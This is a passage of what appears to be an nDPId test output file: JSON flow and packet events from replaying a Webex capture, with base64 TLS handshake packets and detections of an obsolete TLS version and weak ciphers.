vHcPaz3BJ023tdS1bTlr8Vd6Gw9KIl8q8ckmcY5fQGBO+QueQA5N06tRn\/Arr0PO7gi+s3i+z016zy9vA9r911kTMZHRxAy3QkGSGT2RT+rCpSx4\/VBEnkjWNHiDxpg8v+R70rfk\/Fla4OndTRQ8Bnc+MUCH7lP59zuDMKz10\/NIeWiu5T6CUVAgMBAAGjggGbMIIBlzAPBgNVHRMBAf8EBTADAQH\/MDEGA1UdHwQqMCgwJqAkoCKGIGh0dHA6Ly9jcmwudmVyaXNpZ24uY29tL3BjYTMuY3JsMA4GA1UdDwEB\/wQEAwIBBjA9BgNVHSAENjA0MDIGBFUdIAAwKjAoBggrBgEFBQcCARYcaHR0cHM6Ly93d3cudmVyaXNpZ24uY29tL2NwczAdBgNVHQ4EFgQUf9Nlp8Ld7LvwMAnzQzn6Aq8zMTMwbQYIKwYBBQUHAQwEYTBfoV2gWzBZMFcwVRYJaW1hZ2UvZ2lmMCEwHzAHBgUrDgMCGgQUj+XTGoasjY5rw8+AatRIGCx7GS4wJRYjaHR0cDovL2xvZ28udmVyaXNpZ24uY29tL3ZzbG9nby5naWYwNAYIKwYBBQUHAQEEKDAmMCQGCCsGAQUFBzABhhhodHRwOi8vb2NzcC52ZXJpc2lnbi5jb20wPgYDVR0lBDcwNQYIKwYBBQUHAwEGCCsGAQUFBwMCBggrBgEFBQcDAwYJYIZIAYb4QgQBBgpghkgBhvhFAQgBMA0GCSqGSIb3DQEBBQUAA4GBABMC3fjohgDyWvj4IAxZiGIHzs73Tvm7WaGY5eE43U68ZhjTresY8g3JbT5KlCDDPLq9ZVTGr0SzEK0saz6r1we2uIFjxfleLuUqZ87NMwwq14lWAyMfs77oOghZtOxFNfeKW\/9mz1Cvxm1XjRl4t7mi0VfqH5pLr7rJjhJ+xr3\/DgAAAA=="} +01111{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":347,"source":"webex.pcap","alias":"nDPId-test","flow_id":13,"flow_packet_id":6,"flow_first_seen":1444570636170,"flow_last_seen":1444570636773,"flow_tot_l4_data_len":4110,"flow_min_l4_data_len":20,"flow_max_l4_data_len":3927,"flow_avg_l4_data_len":685,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"64.68.121.153","src_port":57647,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"7":"Obsolete TLS version (< 1.1)","8":"Weak TLS cipher"},"proto":"TLS.Webex","breed":"Acceptable","category":"VoIP"},"tls": {"version":"TLSv1","client_requested_server_name":"","server_names":"*.webex.com","ja3":"7cb93b2404a98399e9f84c74fef1fb8f","ja3s":"91589ea825a2ee41810c85fab06d2ef6","unsafe_cipher":1,"cipher":"TLS_RSA_WITH_AES_256_CBC_SHA","issuerDN":"C=US, O=Symantec Corporation, OU=Symantec Trust Network, CN=Symantec Class 3 Secure Server CA - G4","issuerDN":"C=us, ST=California, L=San Jose, O=Cisco Systems, Inc., OU=CSG, CN=*.webex.com","fingerprint":"61:C9:DE:EE:FA:AE:DC:17:A0:36:B9:68:F9:17:F6:5A:90:7B:14:E1"}} +00854{"flow_id":15,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":348,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570636,"pkt_ts_usec":773401,"pkt_caplen":380,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":380,"pkt_l4_len":346,"pkt":"ABoRAAACABoRAAABCABFAAFuNIxAAEAGUiUKCAABQERojK3MAbt5hva2hnkY7VAYUJjxsAAAFgMBAQYQAAECAQCZ6rrS4j7mksPkLANY2EpSpokmY5Lee+lBKCPpOZHfXp1fFLLNPE035x828S0y1EQDc8njA4rf5c3IoOBYAkW4m7x696LVX0ih7Y9CqgDL1B6yna5cRmn4YKD6c4mm38UvSifo5Tbq3QqtilkVc\/cK33qCDjCCDXA+yVGIexfPvbK4k53WTVK8dLRuY0CANraDoA3h61IpLC\/B\/jk\/Rtn1wmsqHWabMvWg5D8GlA+L\/Cu7bVhuv8KWI1WKDYR2icRl9PPlwJXiloUSEnsZFI8uNeVW9rTd0c4rLhiMlN8qWEup34ROCZLfJTafKUhn3VVU\/xejWCs4ig95w71MCUcLFAMBAAEBFgMBADBtORReP+0N+C\/5qD8bapB7MJQN7MZ8HQW6AXEUh6YL1FDSZove7qK9Vb4bbl+fd1M="} +00411{"flow_id":15,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":349,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570636,"pkt_ts_usec":773617,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoAbVAABAGtkJARGiMCggAAQG7rcyGeRjteYb3\/FAQ\/\/88igAA"} +00855{"flow_id":17,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":350,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570636,"pkt_ts_usec":773896,"pkt_caplen":380,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":380,"pkt_l4_len":346,"pkt":"ABoRAAACABoRAAABCABFAAFu70dAAEAGjfoKCAABrfMETM36AbsKei3z9YXhkFAYZqi3+AAAFgMBAQYQAAECAQCKYf+wQGVh16cvfGjmi+GjYexIJm3TjXJPQzGPzrUE\/rqhEkIr7YcPINyJlXOCyVqjuVdxcCJ9NitnLXN0JUMUOPpX1k\/+dR5lsOpXrw+iQEqYfMCKPIl51Avar9s6c0b\/ccBZc3E4Xk4W0JBzPouJSIh+s9tpjD3dDUTtfiDyNHb6jRPnnf\/JiQzulWVG1ivFkeLZJoMEcg3Bz5YXkgCst4aBDx\/i+f5wtPnes2p1TvMaH\/2l8EMcbjUPWkrxFuQ5v1XnY4iyKRCXogYzxL6831ZTV5a223WqO1DNFgnRfcEIzkfayoqcHiojx\/Y2TXv22pPHpvT7t457TCsOF\/twFAMBAAEBFgMBADCi6GXiKEfVocs4Smlug8p+Nv1D6I8BZ0cMreVLJb83ihj9gmorDGb0EK3FcaLV+bg="} +00410{"flow_id":17,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":351,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570636,"pkt_ts_usec":774161,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoAbZAABAGrNKt8wRMCggAAQG7zfr1heGQCnovOVAQ\/\/8TDQAA"} +00407{"flow_id":13,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":352,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570636,"pkt_ts_usec":774488,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoc+JAAEAGAwgKCAABQER5meEvAbvnI7F0GNxeD1AQTE+tMAAA"} +02250{"flow_id":21,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":353,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570636,"pkt_ts_usec":775737,"pkt_caplen":1414,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1414,"pkt_l4_len":1380,"pkt":"ABoRAAACABoRAAABCABFAAV4AbdAABAGsBtARGlhCggAAQG7yKr7mNWFBGcqu1AY\/\/8alwAAFgMBD14CAABNAwFWGmYSOq7AeK\/VHzv7nfWztvaQXy0YwTsZ5fll9syYzSDLAwedTzll\/9Nw9s31KtozYpSn8DlGZoSiw+AYRlhTSAA1AAAF\/wEAAQALAA8FAA8CAATpMIIE5TCCA82gAwIBAgIQKXSJqdQeSb5h94FpRuYh8zANBgkqhkiG9w0BAQsFADB+MQswCQYDVQQGEwJVUzEdMBsGA1UEChMUU3ltYW50ZWMgQ29ycG9yYXRpb24xHzAdBgNVBAsTFlN5bWFudGVjIFRydXN0IE5ldHdvcmsxLzAtBgNVBAMTJlN5bWFudGVjIENsYXNzIDMgU2VjdXJlIFNlcnZlciBDQSAtIEc0MB4XDTE1MDQxMDAwMDAwMFoXDTE4MDQxMDIzNTk1OVowdzELMAkGA1UEBhMCdXMxEzARBgNVBAgMCkNhbGlmb3JuaWExETAPBgNVBAcMCFNhbiBKb3NlMRwwGgYDVQQKDBNDaXNjbyBTeXN0ZW1zLCBJbmMuMQwwCgYDVQQLDANDU0cxFDASBgNVBAMMCyoud2ViZXguY29tMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAnXjIYUvDCGFnLF6CX7BhvJlmnmrg0KiZFcDP6TyJs2s+n7Hjqpb8O374x26knzLrTkrkpNBVvbi6eY8X6lmrWlqvlgEoyMmslNbZoAjUy1C9HNIMI2F1bLGI\/pKRUGbpk5wvAv6SKOf+cKi3mis7U2sccUb8cFxKTVpp62iK2uOzkFa4zF1i4hm\/NKjJWJVuj\/D8tQpd0PSuU5wWY7G1x\/5UpvvDV7KS7Tsmn3ib\/8gstBL+PLvKZHJ8YWc8u02oGZQoWD64APslwdmLLyDqq5USERl2bc761RHbBhnmKf3IpyvGqgfCFbQ7hfb+sniY0O+KQiBpaJI1bt4iiHQ1YQIDAQABo4IBZDCCAWAwFgYDVR0RBA8wDYILKi53ZWJleC5jb20wCQYDVR0TBAIwADAOBgNVHQ8BAf8EBAMCBaAwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMGUGA1UdIAReMFwwWgYKYIZIAYb4RQEHNjBMMCMGCCsGAQUFBwIBFhdodHRwczovL2Quc3ltY2IuY29tL2NwczAlBggrBgEFBQcCAjAZGhdodHRwczovL2Quc3ltY2IuY29tL3JwYTAfBgNVHSMEGDAWgBRfYM9hkFXfhEMUimAqsvV69EMY7zArBgNVHR8EJDAiMCCgHqAchhpodHRwOi8vc3Muc3ltY2IuY29tL3NzLmNybDBXBggrBgEFBQcBAQRLMEkwHwYIKwYBBQUHMAGGE2h0dHA6Ly9zcy5zeW1jZC5jb20wJgYIKwYBBQUHMAKGGmh0dHA6Ly9zcy5zeW1jYi5jb20vc3MuY3J0MA0GCSqGSIb3DQEBCwUAA4IBAQAU0XVgHR8KQTLFFzVVA7s1Rlqj4+dm5q+OB5OfJMqYeX\/hnGHVeD8z9\/9EdKsauBRbbFpJk38PC3aGoy0iL9v8CA4V6o0qYzEfedbF\/p\/UuvtChO8CktAaqN64hPdToCJEy3gqyB\/Hv7VVuKXUBogujzn1WBdIyBUlO\/hClSnOD8Qq1So\/AzCrw+\/ChOOV7DI631hsLE1M73UmQqxi7Cbu5R5TsXH6v6s\/7CAPBhVtuxTBBcBuPtA6Pd2Q8vOf6ByuErVmWAV\/tOLfjGuqPuM2JoxzR1iH82zcoIcxOzmtUIYsiTuUSCi\/AsNsm265BOW9oeh5kgZU+pE6LkGX9bECAAU8MIIFOA=="} +00407{"flow_id":21,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":354,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570636,"pkt_ts_usec":826252,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAo6IRAAEAGnp0KCAABQERpYciqAbsEZyq7+5ja1VAQP8DsbwAA"} +05710{"flow_id":22,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":355,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570636,"pkt_ts_usec":827404,"pkt_caplen":3993,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":3993,"pkt_l4_len":3959,"pkt":"ABoRAAACABoRAAABCABFAA+LAbhAABAGpgZARGliCggAAQG7kQkSUl7m7a2hWlAY\/\/9HlQAAFgMBD14CAABNAwFWGmYSAx+RVmmZg899fGqSm6Bka6ywB4RCQzstiNYepSBKYiYj9vBvO3nJiUtMhL1sij4kR4946TgIFLn6SVhTSAA1AAAF\/wEAAQALAA8FAA8CAATpMIIE5TCCA82gAwIBAgIQKXSJqdQeSb5h94FpRuYh8zANBgkqhkiG9w0BAQsFADB+MQswCQYDVQQGEwJVUzEdMBsGA1UEChMUU3ltYW50ZWMgQ29ycG9yYXRpb24xHzAdBgNVBAsTFlN5bWFudGVjIFRydXN0IE5ldHdvcmsxLzAtBgNVBAMTJlN5bWFudGVjIENsYXNzIDMgU2VjdXJlIFNlcnZlciBDQSAtIEc0MB4XDTE1MDQxMDAwMDAwMFoXDTE4MDQxMDIzNTk1OVowdzELMAkGA1UEBhMCdXMxEzARBgNVBAgMCkNhbGlmb3JuaWExETAPBgNVBAcMCFNhbiBKb3NlMRwwGgYDVQQKDBNDaXNjbyBTeXN0ZW1zLCBJbmMuMQwwCgYDVQQLDANDU0cxFDASBgNVBAMMCyoud2ViZXguY29tMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAnXjIYUvDCGFnLF6CX7BhvJlmnmrg0KiZFcDP6TyJs2s+n7Hjqpb8O374x26knzLrTkrkpNBVvbi6eY8X6lmrWlqvlgEoyMmslNbZoAjUy1C9HNIMI2F1bLGI\/pKRUGbpk5wvAv6SKOf+cKi3mis7U2sccUb8cFxKTVpp62iK2uOzkFa4zF1i4hm\/NKjJWJVuj\/D8tQpd0PSuU5wWY7G1x\/5UpvvDV7KS7Tsmn3ib\/8gstBL+PLvKZHJ8YWc8u02oGZQoWD64APslwdmLLyDqq5USERl2bc761RHbBhnmKf3IpyvGqgfCFbQ7hfb+sniY0O+KQiBpaJI1bt4iiHQ1YQIDAQABo4IBZDCCAWAwFgYDVR0RBA8wDYILKi53ZWJleC5jb20wCQYDVR0TBAIwADAOBgNVHQ8BAf8EBAMCBaAwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMGUGA1UdIAReMFwwWgYKYIZIAYb4RQEHNjBMMCMGCCsGAQUFBwIBFhdodHRwczovL2Quc3ltY2IuY29tL2NwczAlBggrBgEFBQcCAjAZGhdodHRwczovL2Quc3ltY2IuY29tL3JwYTAfBgNVHSMEGDAWgBRfYM9hkFXfhEMUimAqsvV69EMY7zArBgNVHR8EJDAiMCCgHqAchhpodHRwOi8vc3Muc3ltY2IuY29tL3NzLmNybDBXBggrBgEFBQcBAQRLMEkwHwYIKwYBBQUHMAGGE2h0dHA6Ly9zcy5zeW1jZC5jb20wJgYIKwYBBQUHMAKGGmh0dHA6Ly9zcy5zeW1jYi5jb20vc3MuY3J0MA0GCSqGSIb3DQEBCwUAA4IBAQAU0XVgHR8KQTLFFzVVA7s1Rlqj4+dm5q+OB5OfJMqYeX\/hnGHVeD8z9\/9EdKsauBRbbFpJk38PC3aGoy0iL9v8CA4V6o0qYzEfedbF\/p\/UuvtChO8CktAaqN64hPdToCJEy3gqyB\/Hv7VVuKXUBogujzn1WBdIyBUlO\/hClSnOD8Qq1So\/AzCrw+\/ChOOV7DI631hsLE1M73UmQqxi7Cbu5R5TsXH6v6s\/7CAPBhVtuxTBBcBuPtA6Pd2Q8vOf6ByuErVmWAV\/tOLfjGuqPuM2JoxzR1iH82zcoIcxOzmtUIYsiTuUSCi\/AsNsm265BOW9oeh5kgZU+pE6LkGX9bECAAU8MIIFODCCBCCgAwIBAgIQUT+5dDhwtzRAQY0wkwaZ\/zANBgkqhkiG9w0BAQsFADCByjELMAkGA1UEBhMCVVMxFzAVBgNVBAoTDlZlcmlTaWduLCBJbmMuMR8wHQYDVQQLExZWZXJpU2lnbiBUcnVzdCBOZXR3b3JrMTowOAYDVQQLEzEoYykgMjAwNiBWZXJpU2lnbiwgSW5jLiAtIEZvciBhdXRob3JpemVkIHVzZSBvbmx5MUUwQwYDVQQDEzxWZXJpU2lnbiBDbGFzcyAzIFB1YmxpYyBQcmltYXJ5IENlcnRpZmljYXRpb24gQXV0aG9yaXR5IC0gRzUwHhcNMTMxMDMxMDAwMDAwWhcNMjMxMDMwMjM1OTU5WjB+MQswCQYDVQQGEwJVUzEdMBsGA1UEChMUU3ltYW50ZWMgQ29ycG9yYXRpb24xHzAdBgNVBAsTFlN5bWFudGVjIFRydXN0IE5ldHdvcmsxLzAtBgNVBAMTJlN5bWFudGVjIENsYXNzIDMgU2VjdXJlIFNlcnZlciBDQSAtIEc0MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAstgFyhx0LbUXVjnFSlIJluhL2AzxaJ+aQihiw6UwU35VEYJbA3oNL+F5BMm0lncZgQGUWfm893qZJ4Itt4PdWid\/sgN6nFMl6UgfRk\/InSn4vnlW9vf92Tpo2otLgjNBEsPIPMzWlnqEIRoiBAMnF4scaGGTDw5RgDMdtLXO637QYqzus3sBdO9pNevK1T2p7peYyo2qRA4lmUoVlqTObQJUHypqJuIGOmNIrLRM0XWTUP8TL9ba4cYY9Z\/JJV3zADreJk20KQnNDz0jbxZKgRb78oMQw7jW2FUyPfG9D72MUpVKFpd6UiFjdS8W+cRmvvW1Cdj\/JwDNRHxvSz+w9wIDAQABo4IBYzCCAV8wEgYDVR0TAQH\/BAgwBgEB\/wIBADAwBgNVHR8EKTAnMCWgI6Ahhh9odHRwOi8vczEuc3ltY2IuY29tL3BjYTMtZzUuY3JsMA4GA1UdDwEB\/wQEAwIBBjAvBggrBgEFBQcBAQQjMCEwHwYIKwYBBQUHMAGGE2h0dHA6Ly9zMi5zeW1jYi5jb20wawYDVR0gBGQwYjBgBgpghkgBhvhFAQc2MFIwJgYIKwYBBQUHAgEWGmh0dHA6Ly93d3cuc3ltYXV0aC5jb20vY3BzMCgGCCsGAQUFBwICMBwaGmh0dHA6Ly93d3cuc3ltYXV0aC5jb20vcnBhMCkGA1UdEQQiMCCkHjAcMRowGAYDVQQDExFTeW1hbnRlY1BLSS0xLTUzNDAdBgNVHQ4EFgQUX2DPYZBV34RDFIpgKrL1evRDGO8wHwYDVR0jBBgwFoAUf9Nlp8Ld7LvwMAnzQzn6Aq8zMTMwDQYJKoZIhvcNAQELBQADggEBAF6UVkndji1l9cE2UbYD49qecxnyH1mrWH5sJgUs+oHXXCMXIiw3k\/eG7IXmsKP9H+IyqEVv4dn7ua\/ScKAyQmW\/hP4WKo8\/xabWo5N9Q+l0IZE1KPRj6S7t9\/Vcf0uatSDpCr3gRRAMFJSaXaXjS5HoJJtGQGX0InLNmfiIEfXzf+YzguaoxX7+0AjiJVgIcWjmzaLmFN5OUiQt\/eV5E1PnXi8tTRttQBVSK\/eHiXgSgW7ZTaoteNTCLD0IX4eRnh8OsN4wUmSGiaqdZpwOdgyA8nTYKvi4Os7X1g8RvmurFPW9QaAiY4nxug9vKWNmLT+sjHLF+8fk1A\/yO0+MKccABNQwggTQMIIEOaADAgECAhAlDOjgMGEunyuJ9wVNfPj9MA0GCSqGSIb3DQEBBQUAMF8xCzAJBgNVBAYTAlVTMRcwFQYDVQQKEw5WZXJpU2lnbiwgSW5jLjE3MDUGA1UECxMuQ2xhc3MgMyBQdWJsaWMgUHJpbWFyeSBDZXJ0aWZpY2F0aW9uIEF1dGhvcml0eTAeFw0wNjExMDgwMDAwMDBaFw0yMTExMDcyMzU5NTlaMIHKMQswCQYDVQQGEwJVUzEXMBUGA1UEChMOVmVyaVNpZ24sIEluYy4xHzAdBgNVBAsTFlZlcmlTaWduIFRydXN0IE5ldHdvcmsxOjA4BgNVBAsTMShjKSAyMDA2IFZlcmlTaWduLCBJbmMuIC0gRm9yIGF1dGhvcml6ZWQgdXNlIG9ubHkxRTBDBgNVBAMTPFZlcmlTaWduIENsYXNzIDMgUHVibGljIFByaW1hcnkgQ2VydGlmaWNhdGlvbiBBdXRob3JpdHkgLSBHNTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAK8kCAgpejWeYAyq50s7Ttx8vDxFHLsr4P4pAvlXCKNkhRUn9fGtyDGJXSLoKqqmQrOP+LlVt7G3S7P+j34HV+zvQ9tmYhVhz2ANpNje+ODDYgg9VBPrScpZVIUm5SuPG5\/r9aGRwjNJ2ENjalJL0o\/ocFFN0Ylpe8dw9rPcEnTbe11LVtOWvxV3obD0oiXyrxySZxjl9AYE75C55ADk3Tq1Gf8CuvQ87uCL6zeL7PTXrPL28D2v3XWRMxkdHEDLdCQZIZPZFP6sKlLHj9UESeSNY0eIPGmDy\/5HvSt+T8WVrg6d1NFDwGdz4xQIfuU\/n3O4MwrPXT80h5aK7lPoJRUCAwEAAaOCAZswggGXMA8GA1UdEwEB\/wQFMAMBAf8wMQYDVR0fBCowKDAmoCSgIoYgaHR0cDovL2NybC52ZXJpc2lnbi5jb20vcGNhMy5jcmwwDgYDVR0PAQH\/BAQDAgEGMD0GA1UdIAQ2MDQwMgYEVR0gADAqMCgGCCsGAQUFBwIBFhxodHRwczovL3d3dy52ZXJpc2lnbi5jb20vY3BzMB0GA1UdDgQWBBR\/02Wnwt3su\/AwCfNDOfoCrzMxMzBtBggrBgEFBQcBDARhMF+hXaBbMFkwVzBVFglpbWFnZS9naWYwITAfMAcGBSsOAwIaBBSP5dMahqyNjmvDz4Bq1EgYLHsZLjAlFiNodHRwOi8vbG9nby52ZXJpc2lnbi5jb20vdnNsb2dvLmdpZjA0BggrBgEFBQcBAQQoMCYwJAYIKwYBBQUHMAGGGGh0dHA6Ly9vY3NwLnZlcmlzaWduLmNvbTA+BgNVHSUENzA1BggrBgEFBQcDAQYIKwYBBQUHAwIGCCsGAQUFBwMDBglghkgBhvhCBAEGCmCGSAGG+EUBCAEwDQYJKoZIhvcNAQEFBQADgYEAEwLd+OiGAPJa+PggDFmIYgfOzvdO+btZoZjl4TjdTrxmGNOt6xjyDcltPkqUIMM8ur1lVMavRLMQrSxrPqvXB7a4gWPF+V4u5Spnzs0zDCrXiVYDIx+zvug6CFm07EU194pb\/2bPUK\/GbVeNGXi3uaLRV+ofmkuvusmOEn7Gvf8OAAAA"} +01110{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":355,"source":"webex.pcap","alias":"nDPId-test","flow_id":22,"flow_packet_id":6,"flow_first_seen":1444570636364,"flow_last_seen":1444570636827,"flow_tot_l4_data_len":4142,"flow_min_l4_data_len":20,"flow_max_l4_data_len":3959,"flow_avg_l4_data_len":690,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"64.68.105.98","src_port":37129,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"7":"Obsolete TLS version (< 1.1)","8":"Weak TLS cipher"},"proto":"TLS.Webex","breed":"Acceptable","category":"VoIP"},"tls": {"version":"TLSv1","client_requested_server_name":"","server_names":"*.webex.com","ja3":"7cb93b2404a98399e9f84c74fef1fb8f","ja3s":"91589ea825a2ee41810c85fab06d2ef6","unsafe_cipher":1,"cipher":"TLS_RSA_WITH_AES_256_CBC_SHA","issuerDN":"C=US, O=Symantec Corporation, OU=Symantec Trust Network, CN=Symantec Class 3 Secure Server CA - G4","issuerDN":"C=us, ST=California, L=San Jose, O=Cisco Systems, Inc., OU=CSG, CN=*.webex.com","fingerprint":"61:C9:DE:EE:FA:AE:DC:17:A0:36:B9:68:F9:17:F6:5A:90:7B:14:E1"}} +05711{"flow_id":23,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":356,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570636,"pkt_ts_usec":828477,"pkt_caplen":3993,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":3993,"pkt_l4_len":3959,"pkt":"ABoRAAACABoRAAABCABFAA+LAblAABAGpgBARGlnCggAAQG7oar5IuanBt0ZmVAY\/\/9Y1gAAFgMBD14CAABNAwFWGmYSnSyrvrtGFwtam\/nzusEr0jYvjfdu6uqr5P0OECCWvxpTLsqrLpjanZKIiqyuPBYNJWtzLd4kspwBSVhTSAA1AAAF\/wEAAQALAA8FAA8CAATpMIIE5TCCA82gAwIBAgIQKXSJqdQeSb5h94FpRuYh8zANBgkqhkiG9w0BAQsFADB+MQswCQYDVQQGEwJVUzEdMBsGA1UEChMUU3ltYW50ZWMgQ29ycG9yYXRpb24xHzAdBgNVBAsTFlN5bWFudGVjIFRydXN0IE5ldHdvcmsxLzAtBgNVBAMTJlN5bWFudGVjIENsYXNzIDMgU2VjdXJlIFNlcnZlciBDQSAtIEc0MB4XDTE1MDQxMDAwMDAwMFoXDTE4MDQxMDIzNTk1OVowdzELMAkGA1UEBhMCdXMxEzARBgNVBAgMCkNhbGlmb3JuaWExETAPBgNVBAcMCFNhbiBKb3NlMRwwGgYDVQQKDBNDaXNjbyBTeXN0ZW1zLCBJbmMuMQwwCgYDVQQLDANDU0cxFDASBgNVBAMMCyoud2ViZXguY29tMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAnXjIYUvDCGFnLF6CX7BhvJlmnmrg0KiZFcDP6TyJs2s+n7Hjqpb8O374x26knzLrTkrkpNBVvbi6eY8X6lmrWlqvlgEoyMmslNbZoAjUy1C9HNIMI2F1bLGI\/pKRUGbpk5wvAv6SKOf+cKi3mis7U2sccUb8cFxKTVpp62iK2uOzkFa4zF1i4hm\/NKjJWJVuj\/D8tQpd0PSuU5wWY7G1x\/5UpvvDV7KS7Tsmn3ib\/8gstBL+PLvKZHJ8YWc8u02oGZQoWD64APslwdmLLyDqq5USERl2bc761RHbBhnmKf3IpyvGqgfCFbQ7hfb+sniY0O+KQiBpaJI1bt4iiHQ1YQIDAQABo4IBZDCCAWAwFgYDVR0RBA8wDYILKi53ZWJleC5jb20wCQYDVR0TBAIwADAOBgNVHQ8BAf8EBAMCBaAwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMGUGA1UdIAReMFwwWgYKYIZIAYb4RQEHNjBMMCMGCCsGAQUFBwIBFhdodHRwczovL2Quc3ltY2IuY29tL2NwczAlBggrBgEFBQcCAjAZGhdodHRwczovL2Quc3ltY2IuY29tL3JwYTAfBgNVHSMEGDAWgBRfYM9hkFXfhEMUimAqsvV69EMY7zArBgNVHR8EJDAiMCCgHqAchhpodHRwOi8vc3Muc3ltY2IuY29tL3NzLmNybDBXBggrBgEFBQcBAQRLMEkwHwYIKwYBBQUHMAGGE2h0dHA6Ly9zcy5zeW1jZC5jb20wJgYIKwYBBQUHMAKGGmh0dHA6Ly9zcy5zeW1jYi5jb20vc3MuY3J0MA0GCSqGSIb3DQEBCwUAA4IBAQAU0XVgHR8KQTLFFzVVA7s1Rlqj4+dm5q+OB5OfJMqYeX\/hnGHVeD8z9\/9EdKsauBRbbFpJk38PC3aGoy0iL9v8CA4V6o0qYzEfedbF\/p\/UuvtChO8CktAaqN64hPdToCJEy3gqyB\/Hv7VVuKXUBogujzn1WBdIyBUlO\/hClSnOD8Qq1So\/AzCrw+\/ChOOV7DI631hsLE1M73UmQqxi7Cbu5R5TsXH6v6s\/7CAPBhVtuxTBBcBuPtA6Pd2Q8vOf6ByuErVmWAV\/tOLfjGuqPuM2JoxzR1iH82zcoIcxOzmtUIYsiTuUSCi\/AsNsm265BOW9oeh5kgZU+pE6LkGX9bECAAU8MIIFODCCBCCgAwIBAgIQUT+5dDhwtzRAQY0wkwaZ\/zANBgkqhkiG9w0BAQsFADCByjELMAkGA1UEBhMCVVMxFzAVBgNVBAoTDlZlcmlTaWduLCBJbmMuMR8wHQYDVQQLExZWZXJpU2lnbiBUcnVzdCBOZXR3b3JrMTowOAYDVQQLEzEoYykgMjAwNiBWZXJpU2lnbiwgSW5jLiAtIEZvciBhdXRob3JpemVkIHVzZSBvbmx5MUUwQwYDVQQDEzxWZXJpU2lnbiBDbGFzcyAzIFB1YmxpYyBQcmltYXJ5IENlcnRpZmljYXRpb24gQXV0aG9yaXR5IC0gRzUwHhcNMTMxMDMxMDAwMDAwWhcNMjMxMDMwMjM1OTU5WjB+MQswCQYDVQQGEwJVUzEdMBsGA1UEChMUU3ltYW50ZWMgQ29ycG9yYXRpb24xHzAdBgNVBAsTFlN5bWFudGVjIFRydXN0IE5ldHdvcmsxLzAtBgNVBAMTJlN5bWFudGVjIENsYXNzIDMgU2VjdXJlIFNlcnZlciBDQSAtIEc0MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAstgFyhx0LbUXVjnFSlIJluhL2AzxaJ+aQihiw6UwU35VEYJbA3oNL+F5BMm0lncZgQGUWfm893qZJ4Itt4PdWid\/sgN6nFMl6UgfRk\/InSn4vnlW9vf92Tpo2otLgjNBEsPIPMzWlnqEIRoiBAMnF4scaGGTDw5RgDMdtLXO637QYqzus3sBdO9pNevK1T2p7peYyo2qRA4lmUoVlqTObQJUHypqJuIGOmNIrLRM0XWTUP8TL9ba4cYY9Z\/JJV3zADreJk20KQnNDz0jbxZKgRb78oMQw7jW2FUyPfG9D72MUpVKFpd6UiFjdS8W+cRmvvW1Cdj\/JwDNRHxvSz+w9wIDAQABo4IBYzCCAV8wEgYDVR0TAQH\/BAgwBgEB\/wIBADAwBgNVHR8EKTAnMCW